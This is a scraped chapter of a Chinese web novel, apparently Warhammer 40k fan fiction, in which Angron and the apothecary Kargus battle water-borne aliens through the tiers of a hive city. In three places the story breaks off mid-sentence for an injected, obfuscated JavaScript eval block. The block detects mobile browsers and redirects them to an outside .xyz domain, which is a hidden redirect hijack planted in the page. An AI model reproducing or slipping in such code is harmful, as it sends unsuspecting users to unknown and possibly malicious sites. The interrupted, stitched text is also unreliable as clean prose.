正因如此,半个月前唯一的水龙头被污染,数个小伙伴因此腹痛而亡,鲁鲁德自告奋勇地说去中巢的源头处理问题——众所周知,下巢的生活用水都是由中巢的废水。 鲁鲁德偷渡过中巢好几次,是这里最会卖乖乞讨的人。他说中巢有个组织叫做“污水处理委员会”,一定能帮忙解决问题。 然而在巢都中,人们的阶级以生活的方位为区分,下巢居民通常伴有严重的残疾,被视作无用的垃圾,一旦发现闯入中巢就可能被打死。鲁鲁德便死在那些毫无同情心的高贵人手里。 当知道鲁鲁德死去的消息后,费纳内心悲痛,又有些异样。死亡在这里是很常见的事。可是为伙伴们解决问题而死,就显得崇高又昂贵了。 费纳抹去脸上的鼻血,继续追踪气味。那手帕上散发的气息实在过于恶臭,拐了七八个街道他也能闻到。 跨过某个临时棚屋的屋顶,费纳终于瞧见一个布满铜锈刀痕的铁门。那铁门在这个环境里堪称光洁。那一定是通往中巢的方向了,他没有找错。费纳几乎喜极而泣,但更大的恐惧感攥紧了他。中巢到底长什么样子?他从未走过这么远的地方,“污水”这个词用上层语怎么说来着…… 费纳差点走不动步,但伙伴们期待的眼神似乎就在身后。费纳颤抖地握紧双拳,仔细辨认管道的位置后,从一个污水井里钻了进去。 他费力地顶开头顶的铁盖,上方刺眼的光芒几乎要刺瞎他,铺天盖地的消毒水的味道让他无法呼吸。 可费纳还没被治安官发现,就像一只中招的害虫摔倒了,四肢朝天地打颤,喉咙涌起一股股铁锈味,随即晕了过去。 不知过了多久,费纳才浑浑噩噩地睁开眼,他虚弱地顶开铁盖,神情麻木地往外爬。他第一次接触到矿渣组成的地面,这里的居民不觉得这种地面扎手吗? 当然不,费纳,这里的居民会穿厚厚的鞋子。鲁鲁德轻柔而自信的声音在费纳耳边响起。 听到熟悉的声音,费纳脑袋晕乎乎的,忍不住咧开嘴笑了。 “啊!!!” 一声尖叫在费纳头顶响起。 “下层的老鼠爬上来了!!” “难怪最近的水不干净,一定是他们在做手脚!” “他们的存在就是污染眼球,快把他们扔回去!” 尖叫声划破了街道的宁静。凌乱的脚步声四处响起。费纳没有力气抬头,也听不懂这里的语言。但他听出这些人的恶意,连忙四脚并用爬走。 突然,一只精美的鞋子在他面前停下。它有着1㎝的厚鞋底,两侧有些许装饰性的补丁,有两根绳子宛若魔法般绕过上面的孔洞并穿在一起。费纳一时看呆了。生活经验告诉他现在时祈祷的好时刻,这样高贵的人通常愿意在他们身上施展仁慈。 费纳连忙抬起头,这动作给驼背严重的他带来撕裂骨头的疼痛。他尽量展现自己的虚弱,脑袋拼命回想鲁鲁德是如何祈祷的。 “行行好、行行好吧……” 逆着光芒,费纳的视线被强光切割得支离破碎。隐约中,他看见这个高大的人正举起一根手臂粗的铁棍。铁棍末端没入刺目的光晕里,宛若燃烧的火炬。 那一刻,费纳的时间变得无比漫长。奇异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160750|180617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的、新鲜的、混乱的气味与急速的风一起砸向他的脸面。大脑下意识努力归纳它们的特征与归属,一时无暇顾及宿主的生死,只有肌肉在徒劳地紧缩僵化。 但致命危机并没有当场炸开。另一阵迅疾的妖风呼啸冲来。更可怖的恶臭与毒气如浪潮般淹没整条街道。众人纷纷捂住口鼻,若有不小心吸进去一点的人,则不得不掐紧自己的脖颈,说不出半句话,只能用突出的眼球向隔壁求救。 雷霆般炸裂的声音轰然而至,中巢那十米粗的排污水管破开一个大洞,污水如瀑布喷洒。朦胧水雾中,钻出一个三米高的人形生物。它手臂异常粗壮,还拿着一根钢管当做武器。 “不……” 远处,一名胸牌上挂着“污水处理委员会”的人霎时变了脸色。 他转身向办公室跑去,拨通电话,着急地朝对方大喊: “糟糕了!!污水里的怪物真的还活着!!” 从排污水管走出的怪物慢慢直起身。随着水雾散去,人们终于看清了它的真面目——它全身花白,体态臃肿,散布着棉花般的纹路。它似乎可以通过排水控制自己的体型,随着它收缩四肢的肌肉,一阵阵黑水就像拧抹布一样排出体外,随即变成一个充斥着可怕肌肉的干巴巴异形。 下一秒它手上的钢管与它掌心融合,一切都变得坚硬了,一切都变得迅速了。人类根本无法捕捉它的身影,只听见一连串的玻璃炸裂的声音,然后声音抿成一条细线,朦朦胧胧的什么也听不清了。短暂失聪的人类呆呆地站在原地,像保龄球一样被怪物击飞。 燃烧着复仇怒火的怪物霎时来到费纳面前。它一视同仁地屠杀眼前的所有人,眼也不眨地将那个高大男人的腹部碾成肉泥。费纳因为体型小躲过一劫,仅仅被风轰到了排污井。 在与怪物擦肩而过的瞬间,费纳闻到了对方身上熟悉的毒气……是和被污染的水龙头里一样的气味。 中巢街道上的尖叫与爆炸声逐渐离费纳远去。他砸进汹涌的水流里,脏水与血块一起顺着耳朵涌进他的脑子。在咕噜的水声中,他被冲回下巢,从破烂的管道中冲出地面,在一个巨人脚边缓缓停住。 一只温热的手将他拎起来,拍拍他的后背,帮助他把脏水咳出来。动作轻柔得几乎不像这个体型的人类能做出来的。费纳咳出脏水后再度晕了过去。 安格隆蹲下来,小心翼翼地将费纳放石板上躺着。安格隆从小流浪,一眼就知道这是个疲于生计的孩子:费纳还不足一米高,严重驼背,手臂上是被化学腐蚀的伤口,脚趾上有老鼠咬过的齿痕,关节处的厚茧比“烟囱男孩”还要多十倍。 安格隆内心的血痂被扯了一下,一瞬间他好像变成了这个下巢男孩,被无知无觉、高高在上的虚伪制度奴役着,忍耐着比远超常人的痛苦,终其一生也不能获得真正自由。 他咬牙将这些苦难强行吞咽下,用更强大的胃酸消化它们。几秒后,他内心沸腾的血海终于慢慢平息,费纳的呼吸也变得平稳起来,仿佛进入一个纯净安宁的梦乡。 安格隆试图为这个男孩感到愤怒。无论这背后是否有其他原因,看见一个被打得半死的儿童就理应愤怒!他要拿起武器,为公义而战,用鲜血与杀戮安抚他的怒火! 可是安格隆在进入巢都前已经杀得太多次了。他不知道砍的什么东西,反正是一群像棉花一样的外星生物。这些外星生物伤不了他,只一味地送死,见打不过他,跳进河里消失了。这样的战斗毫无意义,更毫无荣誉。 他看见有人往这里跑,于是跟着走进这座巨大的巢都。但巢都内部又和他想象的人类都市不一样。逼仄的居住空间、肮脏的垃圾山、如同老鼠般生活的人类……他若真的要为小男孩遭受的不公义而战,这怒气难道要向这些底层贱民宣泄? 巨大的茫然终究替代了怒火,安格隆不由得喃喃道:“耶稣啊,这到底是个什么世界?” 7. 中巢 安格隆环顾四周,除了他撞出来的路,目光所及之处都是层层铁皮,宛若巨大的牢笼。铁皮棚的建设毫无逻辑可言,仅是无意义的堆叠,街道、餐饮、工作场所、生活区域完全混为一体。在这里生活的人们靠暴力与奴役构建出社区秩序,没心思在意它在外人眼里有多么混乱。 安格隆调试好右手的动力拳套,将其横在身前,然后用左手抓起费纳,如同一辆坦克般撞开阻碍在身前的一切。 锋利的铁皮划过他的脸,连道口子都没有留下。破裂的钢筋玻璃砸向他的脑袋,根本不痛不痒。偶尔遇到防御水平明显上一个档次的坚实石柱,安格隆也未曾止步,直接用拳头砸碎阻碍,继续直线行走。 安格隆唯一需要注意的,就是脚下的支撑是否结实。许多他走过的路都会开裂,对无数底巢居民而言无异于天花板裂开了。他们如老鼠般四处逃跑,又忍不住看向安格隆离去的方向,似乎明白他们一生中离神明最近的就是此刻。 好不容易来到一个稍微有些规划的地方,脚下的站立处不再是别人的天花板,而是用坚实材料浇筑出来的地面。安格隆一眼就看到了街道上奇异的雕塑,雕塑旁散落着颅骨。他走过去,拿起一颗颅骨在手上掂量,然后就瞥见了在雕塑与墙壁间隙里躲着的小孩子。 那些小孩子身形格外瘦小。唯有最前头的孩子个子稍微高点,正目不转睛地盯着安格隆手上的费纳。 安格隆迟疑了一会儿,回忆起刚才听过的吵闹,大脑马上学会了一门新的语言。把那些人的口音都模仿了去:“这是你们的伙伴?” “这是费纳!”孩童眼睛亮起来,但又怯生生地问,“他死了吗?” “他只是睡着了。”安格隆把费纳放在地上。 “是你伤害他吗?”孩童没有贸然上前,而是以超乎寻常的冷静问道。 安格隆感到好笑:“如果是我做的那又怎么样?你想挑战我吗?” “如果是你做的,那你就是我的仇人。”孩童亮出缺口的牙齿,做出凶狠的模样。 “是我们的仇人!”身后的声音补充道。 “鲁鲁德为了我们去上层,为了保护我们而死。费纳也为了我们上去,现在也是我们的英雄。”最前排的孩童依旧冷静,“现在该轮到我了。” “你没有必要为此而死。因为不是我做的,我甚至是带他回来的好心人。”安格隆不再逗弄小孩,“把你们的伙伴带回去吧,他应该得到更好的休息。” 最前排的孩童犹豫了一下,便立刻像蜘蛛拖回食物一样把费纳拉走,迅速藏在雕塑后面。那道窄窄的缝隙时不时冒出惊呼“费纳你还活着”“费纳怎么睡得那么沉”“好严重的伤势呜呜”等等。 “现在我们来谈一下这里到底发生了什么。”安格隆对这群小人说道。尽管一路上他可以抓路人来问,但那些人都没有勇气直视他,他也不会有耐心听他们讲,还不如与这个小孩交流。 这名孩童果然口齿清晰地讲述他们了解的一切:水龙头里的水被污染,喝下去有毒,费纳前往上层找“污水处理委员会”;不久后一大帮白花花的异形入侵了,在底巢拆了很多建筑,杀了很多人,然后冲去中巢;再然后就是费纳回来了。 “这异形和水污染有关。”安格隆肯定道。他拿起一颗颅骨,颅骨质量很轻,明显被吸干了水分。而异形的生存环境与水密切相关。 孩童点点头。一些在雕塑后的孩童好奇地往外张望,想看看这个略带口音的声音的真面目。这世界上居然有大人对他们如此平等,又如此温柔,这是真实存在的人,还是传说中的天使? “这异形还和你们所在的巢都有关。”安格隆消化着“巢都”这个陌生的名词。 孩童不明白,困惑地说:“它肯定不是变种人……” “你们难道不会抬头看看?”安格隆不耐烦地皱起眉头,“你们躲着的这个雕塑,样貌和那些抹布精异形一模一样!” 高耸矗立、无端出现的雕塑,正是一副高大的人形外表,它双手拧成螺旋状,在顶端合二为一,宛若流水。其他部分的石头则可清晰地看见网状的肌肉经络。 孩童吓了一跳,下意识颤颤巍巍地抬头看。她总是盯着脚边的位置,因为只有那里出现的资源才是最有可能捡到的。她很久很久没有做出朝上看的动作,严重的驼背让她背上像挨了一刀那样疼。 可她还是往上看去。先看到比她人还粗的腿,然后是一些破铁片组成的盔甲,那是安格隆临时手搓出来的,再然后是他腰间红蛇般蔓延的长疤。沿着长疤向上,孩童终于看到安格隆的脸,以及那双威严的金眸。她张大嘴,神志远飞天外。 “您是天使吗!”她激动地问道。 安格隆无奈地移开目光。 但孩童又急又快地把她所知的传说全部倒出来:“很久以前这个地方被毒水所侵占,是一群很高很大的、穿着厉害盔甲的天使降临将怪物打跑,然后帮助我们重建了家园。‘诺威高地’就是这么来的!我们以生活在‘诺威高地’而自豪!现在天使回来了吗!” “你们管那玩意叫‘天使’?还很自豪?”安格隆大约明白了天使就是阿斯塔特的别称,不禁冷笑,“‘提起工业革命,英国的一个下水道清洁工都会骄傲地挺起胸膛。’” 孩童不知所措地站在原地。雕塑后的孩子们同样静悄悄。 安格隆顿时感到尴尬,双手得不知往哪里摆,“我的意思是……”他的目光游离在四周,试图寻找新话题,“啧……”他看见手上的动力拳套,突然想到一个点子。 他启动动力手套,手背的机械装置弹出锋利的小型链锯锯片。他用它往另一只手的手臂上用力一划,一道撕裂血肉的伤痕出现了。安格隆随意捡了一个破碗接血,因为伤口很快愈合了,他不得不划了第二道。 “有人说我是世界上最伟大灵能者创作出来的造物,或许我的血还有几分价值。”安格隆其实并不认为血有什么价值,只是他现在口袋空空,没有别的东西当歉礼。而且喂血对他来说太家常便饭了,他在颅骨俱乐部认识的圣吉列斯就常常喝血。 “拿去填肚子吧,小饿鬼们。”安格隆将碗放在地上,缓慢推了过去。在这几秒钟,他的伤口已经完全愈合了。 孩童没有马上去接,但碗里鲜血确实和他们认知的不太一样,它更有活力,充满能量,比他们见过的任何一餐都要充满饱腹的诱惑力。 “您要去哪?”小女孩问道。 “我要去上面。”安格隆说道,“巢都、异形、雕塑,这些谜团让我很恼火。我今天一定要知道,我该揍的对象是谁。” 他瞥了一眼这群孩子们,道:“这里不是生存的地方,孩子不应该在这种地方出生然后死去。你们总有一天也要走出去,走到上面去。” 小女孩悲伤地拧紧稀疏的眉毛:“可是如何才能去往上方?我们连中巢的入口都看不见。” “当迷路的时候,我只知道一种办法……”安格隆转身离去,“当我还不幸地在流浪时……我也只知道这种办法……” 安格隆轻易地撕开挡在面前的铁皮,创造足以让他通过的空间。原体的身高是这里居民的三倍有余,此举和重新创建一条街道没有区别。小女孩和几个小孩子宛若煤球精一样跟在他身后。小女孩不知道为什么如此冲动,她只是忍着疼痛抬头向上望,嘴巴张大,灰尘落嘴里了也不曾合上。 安格隆来到一堵高墙面前,抬手叩了叩,确认这就是自己想找的地方。他握紧拳头,动力拳套内的活塞随之运动,笨重宽厚的金属手套连同臂铠做出安格隆躯体想要的动作。动力拳的变化其实在毫秒内就完成了,但以原体的反应速度来看还是有点慢吞吞的。不过现在不需要速度,安格隆只需要更强的动力。 随着安格隆继续紧握,一股蓝色能量覆盖在它表面,技术军士介绍过那是分解力场,强悍的能量场能从分子层面崩裂物质,从而对大多数装甲进行有效打击。动力拳套因其笨重、蓄力缓慢等特性而很少人使用,但一旦它蓄力完成,那就是件恐怖的大杀器。 蓝莹莹的拳套在安格隆手上就像一座等待喷发的火山。他右臂缓缓抬起,肌肉瞬间贲张成坚硬的块垒,手肘处的肌腱暴起青筋,连带着前臂的血管都突突跳动。 没有人看清他挥拳的动作,在一声“轰”的闷响里,砖石迸裂的碎屑飞溅开来,露出墙壁后更加厚实的铁壁。铁壁上一道裂缝正如闪电般窸窸窣窣地流窜,下至不可见的底层,上至无法抵达的高层,低频的摩擦声越来越大,直至响彻数公里外。 只见流石如瀑布般落下,钢铁崩裂的声音一声比一声巨大,最终共同合奏出海妖尖叫般的刺耳噪音。附着铁壁而造的铁皮棚被纷纷震塌,像剥开一层层的莲花般露出前所未见的光景。人们震惊原来这里的棚山已经建造了如此多层,退化的双眼贪婪地看着新鲜的遥远空间!这个世界竟然大得让人恐惧! 恐慌的尖叫声四处响起,混乱再临。而那巨大的铁壁终究承受不住,彻底裂出一道十几米宽的缝隙。 “终于有点高科技的感觉了……”安格隆小声嘟囔一句。 安格隆挤进裂缝,里面宽敞如广场,除了没有灯以外一点也不像底巢,巨大的锁链从无法看清的高空垂落,积了厚重的灰层。 他不知道巢都在很久以前,是人类设计的宜居城市模块,宽敞而高效的移动电梯让人们上下都畅通无阻。生活在这里的人类也不知道,巢都怎么会演变成今日这种模样。自他们睁眼以来,出生的地方就是终身的阶级。 小女孩愣愣地看着安格隆消失在裂缝里,带着陈旧气息的凉风吹过她的脸庞,好像也吹过她心口的大洞。在旁边窥探一切的本地居民也呆若木鸡地看着。其实他本来想抢那个巨人留下的血液,可是他的目光被那巨人的身姿吸引着,内心竟然生出想跟着去看一看的冲动。 安格隆在黑暗中也能看清路,他抓住其中一条巨大的锁链,用力一震,一个大浪从锁链底部弹射向上。上方像活过来一样发出“哐当哐当”的声音,重达几吨的灰尘瀑布迎面砸来,紧随其后的还有直径二十米的操作平台。安格隆连忙躲开,但还是吃了一口灰。 他转而摸索墙壁上的凹口,找到可以攀爬的地方。高科技真是一点都不好用,他一边把这里的居民骂了个遍,一边用蛮力带动自己向上爬。如果没有抓手,他就用动力拳硬生生砸出一个口子。这里比他想象的高许多,安格隆越爬脾气越暴躁。 不久后,他看见前面有一丝亮光从缝隙里漏出来。他将手指塞进裂隙里,硬生生一扯。钢铁变形的声音如雷鸣般在通道内回荡。他撕出等身大小的裂口,才探身进入。 他踩在一个比底巢更宽广的世界里。 但这个世界对他而言依旧逼仄。他并没有看到令人温暖的阳光,只看见数不尽的烟囱从工厂内伸出,如生命维系仪器般刺入天花板。工厂之间叠着工厂仅留一小道缝隙,就像俄罗斯方块那消不掉的空格一样。工厂之外人们血流如河哀鸿遍野,工厂之内人们流着密汗麻木地干活。 他看见异形正肆意屠杀人类,惨叫声不绝如缕。旁边几只异型正搬运 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安格隆不知不觉走到一家巨型工厂,它的大门被砸成一团,门内流出浓厚的血腥味。安格隆暗道又是颅骨排位赛的后遗症,他总是不知不觉走到上演最盛大杀戮的地方。 他把门掀开,便看见一只格外巨大的异形攀附在天花板上,它的四肢如网状延伸数十米,黏腻的黑水与人类的血肉从它的白色经络中渗下。干燥的枯骨堆叠在脏水里,垒成一个王座。 异形意识到了安格隆的威胁,迅速脱水,四肢化为八条坚硬肢体,迅猛地向安格隆抽去。 安格隆抓住其中一条沉重的肢体,没有戴动力拳套的左手硬生生将指头嵌进其中。飞快袭来的其他肢体砸在安格隆身上,简陋的防具立刻破碎,连原体之躯也留下伤口。但安格隆一声不吭,把对方的肢体连同巨大的身躯扯离天花板,狠狠掼在地面。 巨大异形想撑起其他肢体站起来,但安格隆的攻击没有停止,再次将异形横甩向墙壁。它砸向一个数十米高的机器,钢铁结构轰然坍塌,上方锅炉如同喷泉般喷出沸水,蒸汽满屋。巨大异形发出令人牙酸的咯咯声,体型在水雾包围中似乎更大了一些。 然而安格隆像不知道异形加强了一样,直接握着异形的肢体将它扯回来,然后右手紧握成拳,不等动力拳套蓄满力就砸下去,每一次落拳都让异形的身躯迸裂出不可弥合的裂痕。恶臭的黑水从异形身躯渗出,它的头部裂出一个小口,发出瘆人的哀嚎。 最后一击让地板也夸张地龟裂,安格隆所在的位置甚至和正常地板有着三四米的高度差。承受了众多打击的巨大异形一动不动,原本亮白的身躯变成了毫无光泽的灰白色。安格隆踢了对方一脚,对方毫无反应。他弯下腰去,将对方的头颅卡在臂弯之间,脚踩对方已经无法吸水与吐水的躯体,将对方脑袋旋钮一圈再硬生生拔出。 蒸腾的雾气在他身上凝成汗水,顺着肌肉的沟壑流下。他的双眼并无战斗后的痛快,整个人的情绪也和遭遇巨大异形前没有区别。 他其实根本不能从杀戮获得任何快/感。 在颅骨俱乐部里,霍恩就千百次告诉他: ——杀戮只是杀戮,鲜血只是鲜血。 安格隆眼前恍惚了一会儿,忽然意识到自己还拿着异形的巨大头颅,连忙嫌弃地扔掉。 他的目光扫过这家工厂,一个个赤/裸的人被一条巨大的传送带的钳爪抓着头颅,不少人已经被异形摧毁成一团肉泥。按照传送带的诡计,他们本应该送入那个被异形撞碎的机器,机器后是另一条传送带,出来的人性征被切除,在伤口盖上一个质检章一样的机器。 传送带还在往远处延伸,还有更多工序等待着这些“作品”,这家工厂大得难以想象。这里的人都无法反击,而且有水,在异形看来就是最佳的狩猎场。 安格隆的心又被刺痛一下。 却不是为了这些被异形摧残的可怜人类,而是他发现…… ——这是一家“奴工”加工工厂。 安格隆忽然意识到,下巢人民是没办法成为奴工的,因为他们身上有着显而易见的残疾,而奴工要四肢健全,体格健壮。自愿成为一名毫无自我意识的奴工,竟然也是有门槛的。 这个念头触发了安格隆自己也不清楚的情绪自卫反应。他下意识自虐似的将自己投身到最悲惨的噩梦里,反刍其中的种种细节,直到噩梦唤醒大脑深处的疼痛,钉子在双耳间尖叫。 他走出工厂,目光上移,看向高高在上的天花板,金瞳深处压抑着疯狂的怒火。 8. 卡格斯 在诺威高地的上层,数十万台空气净化器正昼夜不息地运转,一台空气净化器一天的用电量堪比一千个中巢家庭一年的用电量。 为了掩盖丑陋的空气净化器,这里还衍生出一种职业:穹顶装饰师。工人用不同透光度的玻璃组成机器的外壳,再用激光雕刻出惟妙惟肖的星云图案,使空气净化器就像是穹顶上的星星。 当然,这装饰会导致空气净化器因换气受阻而报废,但显然一睁眼就活在上巢的居民并不在乎这个。 他们习惯了看到损坏的净化器,只需叫仆役来处理即可。所以他们并没有注意到,净化器的扇片边缘留下一缕缕黑水。今天的净化器故障显然不是因为穹顶装饰。 …… 在穹顶之下,有一处地方与其他地方格格不入。它被全线封锁,一扇窗也不留下。唯有门口飘扬着旗帜,上面画着一只猎犬与罗马数字“XII”——那是第十二军团的标志。 ——这颗星球理所应当存在“战犬”,不然它怎么会在安格隆护卫舰的行驶记录里。 只是这“战犬”来得比较特殊。他们并非为了征服或镇压这一地而来,而是根据帝国海军后勤部门的指引,前来这颗星球接受新兵。 十二军团没有征兵母星,兵源来自银河各地。一是因为十二军团分散四处,二是战犬的基因种子比较稳定,总被帝国海军拿去改造新兵,所以连基尔也不知道十二军团现在有多少人。 基尔当初朝这颗星球派出了一支药剂师特遣队,专门负责改造新兵。直到某一天药剂师们听说原体归来了,立刻躁动着要求马上回归军团。 在一番不友好的商量后,大家决定由刚考完试的新药剂师卡格斯留守行星,完成剩下的手术,其他药剂师带着新出炉的士兵先走一步。 临走前,药剂师前辈语重心长地拍拍卡格斯的肩膀:“你刚好缺乏独立完成手术的经验,这里正是你的绝佳试炼之地。” 对此卡格斯只微笑回应:“在战场上小心点,否则我一定要把刚学会的开膛手术用在你身上。” 药剂师前辈哈哈大笑地走了,只剩下卡格斯和进入深度麻醉的三位准新兵,还有五个培育着超级器官的培养缸。 今日卡格斯照常观察培养缸里的进度。里面培育的是星际战士第十九道改造工序需要的器官,黑色甲壳。它在培养缸里就像黑色的塑料胶片。等它植入星际战士表层后,它会迅速扩张变硬,覆盖大半个躯壳,并延伸出节点,使星际战士的躯体与动力甲的诸多模块相连。等黑色甲壳成熟后,该士兵便可称之为真正的阿斯塔特了。 “状态不错,小家伙。”卡格斯先对着培养缸说道,然后看向一旁的生物罐,“状态不错,兄弟,可惜你还得维持一段时间开膛破肚的状态,我真希望能看见你活着出来。谁叫你那么不幸成为我的第一台改造手术对象呢。比我更成熟的医师一听到原体的消息就疯了。” “但你也是好运的。”卡格斯继续自言自语,“你一出生就来到一个……完整的十二军团。” 他的语气逐渐变得梦幻,脸上不自觉露出傻笑。他没有见过任何原体,仅仅因为基因本能就感到快乐。 突然,整间操作室突然剧烈颤抖了一下,培养缸的生物质朝左侧倾斜了三公分。 “操!”卡格斯转身怒骂,启动手术暂停程序。他拿起门口的链锯斧,顿时从药剂师转换成愤怒的战犬,“谁又在逼我发火!” 他一出门果然看见几张唯唯诺诺的脸。那个信誓旦旦保证这里做手术很稳当的权贵几乎要把腰贴到地面。他挤出苦笑道:“帝皇的天使啊,我、我们,下面那些不安分的贱民出了点意外。” “我像在乎这个的样子吗?”卡格斯怒道,“你们被犀牛踩死我也不会在乎。” 他最讨厌这些穿金戴银的权贵,让他想起那些高高在上的监军。可他身后还有3个准备完成手术,即将加入他们的新兄弟。因此卡格斯的责任感逼迫他继续盘问:“除了起义军还有没有别的东西?” “那怎么能是起义呢,那是叛乱……”负责人慌张地解释,随即被卡格斯瞪了一眼。负责人忍耐不满,道:“根据资料,从下巢入侵的人形生物特别高大,也许是类人生物欧格林。您放心,我很快请示行星总督,总督会派兵解决一切的。” “带我去看。”卡格斯冷冰冰地命令道,“另外,不许让任何会呼吸的东西进入手术室。” 负责人点头哈腰地答应了。但他似乎不敢直接去前线,想让另外的小弟带卡格斯去。卡格斯不耐烦了,抓着负责人的衣领,告诉他“战犬”可没有好脾气。 负责人被吓了一跳,怀表掉在地上,发出清脆的玻璃破裂声音。 似乎为了应和这个声响,天空的穹顶也接二连三地响起玻璃装饰的爆裂声。一道道恶臭的黑水如九天黑河般注入,令人作呕的毒气瞬间蔓延,无数上巢居民瞬间捂着脖颈、眼球突出地干呕。 卡格斯也作势呕了几下,不是因为真的被毒到了,阿斯塔特的第三肺足以扛过大多数毒气。他只是觉得模仿这群装腔作势的贵族好玩。 随着黑水出现,一个个蚕蛹般的异形也顺流而下。它们落到地面上,逐渐凝实它们的身躯,宛若无面的白色巨人。 其中一个异形将双手靠拢在一起,往旁边猛甩,瞬间横扫一大片护卫队。它坚实肢体所到之处通通被碾成肉泥。 “你们下巢的欧格林还挺生猛。”卡格斯点评道。 “大人这不是欧格林啊!”戴上防毒面具的负责人欲哭无泪,“这是异形!!” “是吗,真让人惊讶。”卡格斯眺望远方,然后拎起负责人的衣领耳语道,“我现在给你一个非常重要的任务,如果你做的好的话就此升官也不一定呢。做不好的话我可不敢担保你的下场……” 负责人脸色发白、冷汗涔涔,却又挤出一丝僵笑拼命点头。 “你去发射台把天线功率调到最大,然后输入这个密令,朝这个地址发送一条消息,一个语气词都不能改,那就是……”卡格斯顿了顿,才换了个负责人听不懂的语言说道: “傻X卡恩,快来收尸。” “傻……X卡恩?”负责人结巴地重复。 卡格斯笑得乐不可支,连犬牙都龇出来了。他随意地松开手,让负责人摔在地上。 远方众多异形绵延成白色灾难,中间还升起一座巨型异形山。它还未“出生”完全,四肢仿佛正在做板块运动般缓缓隆起。但从它庞大的体格来看,一个单打独斗的阿斯塔特加上地面护卫队未必能打败它。 “不会真要被卡恩收尸吧。不对,卡恩当初把我送来药剂师队伍,不是说好让我给他收尸的吗?”卡格斯挠了挠脑袋,没想明白。 卡格斯很快把这些玩笑话抛之脑后。他谨慎地检查自己的链锯斧和动力甲,确保每一处都适合战斗。现在异形离他们还有几公里的位置,但卡格斯的器官已经为即将到来的战斗而欢呼雀跃。生为战犬就应该埋头战斗,而不必关注这战斗是正义还是邪恶的,反正今后你的缰绳都将移交给原体大人了。 链锯斧的刀片悦耳地转动轰鸣,沉重的动力甲开始挪动,动力背包则立刻使他的步履轻盈。卡格斯几乎一眨眼就来到异形面前。他视网膜上的显示屏显示出敌人的位置,那些红点还在不断跳跃,并逐渐包围着他——异形通过水流快速移动到他身边。 但那没有意义,卡格斯不在乎自己面对的是一个敌人还是一群敌人。或许一群敌人要好些,他总是打得很凶,连吐带酸液的唾沫到别人眼睛里这种事也做过。第八连的兄弟常埋怨他打起来像“吐口水的狗”,而他笑嘻嘻地回应“我可不是花里胡哨的贵族,只要能打赢我什么脏活都能做”。 他在第八连很少尊重什么人,比他还要能打的卡恩除外,也许这就是他会听卡恩的建议来转职当药剂师的理由。但说真的药剂师的课程烦透了,他背那些药理分析背得几乎想要跳楼。药剂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160752|180617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师课程带给他的唯一好处就是,他现在用斧头切敌人像切实验品一样精准。 刀片高速转动,白色的棉絮天女散花般飞舞,像在下雪。这种异形没有常规的血肉,所以卡格斯砍得有点无聊。直到一个比所有异形动作都要迅猛的鞭子抽来,卡格斯一下子被拍到一座宏伟礼堂上,砸穿了墙壁,砸破了雕塑,在地面砸出一个深深大坑。 “老兄!别在这个时候坏掉!”卡格斯猛地拍了一下身后的动力背包,让这个机器重新运转,沉重的动力甲才不至于全部压在他身上。 他看见周围流淌着黑水,里面有一些被愤怒的异形踩烂的人类肉泥。 是的,愤怒。卡格斯感觉这些异形很愤怒。它们并不以人类为食,却一味地屠杀人类,只有复仇这个动机可以解释。 数不尽的白色异形顺着黑水游过来了。它们站起身,将自己膨胀的身躯变得坚实刚硬,然后张牙舞爪地朝卡格斯涌过来。卡格斯视网膜里的显示屏已然变成红色的海洋。 卡格斯挥舞链锯斧,连自己不爱用的爆弹枪都连射了好几回。他迅猛的动作为他清出一片空地。但下一刻,这片空隙便被更多的异形填满。它们的复仇怒火如此分明,哪怕自己破碎也不在意。 它们试图绞住卡格斯的四肢。卡格斯不明白它们的战术意义,直到他真的一时不慎被困在一个地方超过3秒,异形的打击报复立刻空降了。 巍峨的白色高山抽出它的肢体,如同上帝挥舞神鞭。异形的攻击很简单,但当异形的体格足够大时,所有防御都成了笑话。卡格斯再次被甩飞出去,速度之快使得双耳都耳鸣不止。他的动力甲出现一道裂痕,头盔还破了个缺口。 卡格斯没有马上站起来,而是侧过头去目测他现在与手术室的距离。远处的手术室只有一批卫兵在持枪防守,星际总督的军队还没有来,而他现在离手术室只有一公里。太近了,太危险了,他要转移这些异形的注意力,他要往更远的地方冲锋。 “3位兄弟,要是你们现在能破壳而出,我愿意支持你们当新的连长……”卡格斯没忍住又对自己讲了个笑话。 他耸耸肩,一脚踹开围过来的异形,然后重启链锯斧,在嗡鸣的刀锋声与颤动的分解力场中大吼一声。 “轰——” 与卡格斯的怒吼一起出现的,是足以撼动建筑的轰响。这已经不能用建筑坍塌解释。卡格斯震惊地转头,以为真有什么东西被自己叫得破壳而出。 只见一个巨人猛地撕裂了穹顶那层装饰性的铁幕,他的蛮力与速度远超卡格斯见过的任何生物。能击晕猛犸象的防御电击弹打在他身上,只迸出一丝微芒。白色的异形像浪潮般涌来,却又像浪花般瞬间破碎。所有愤怒、复仇、进攻皆湮灭在他的身躯之前。 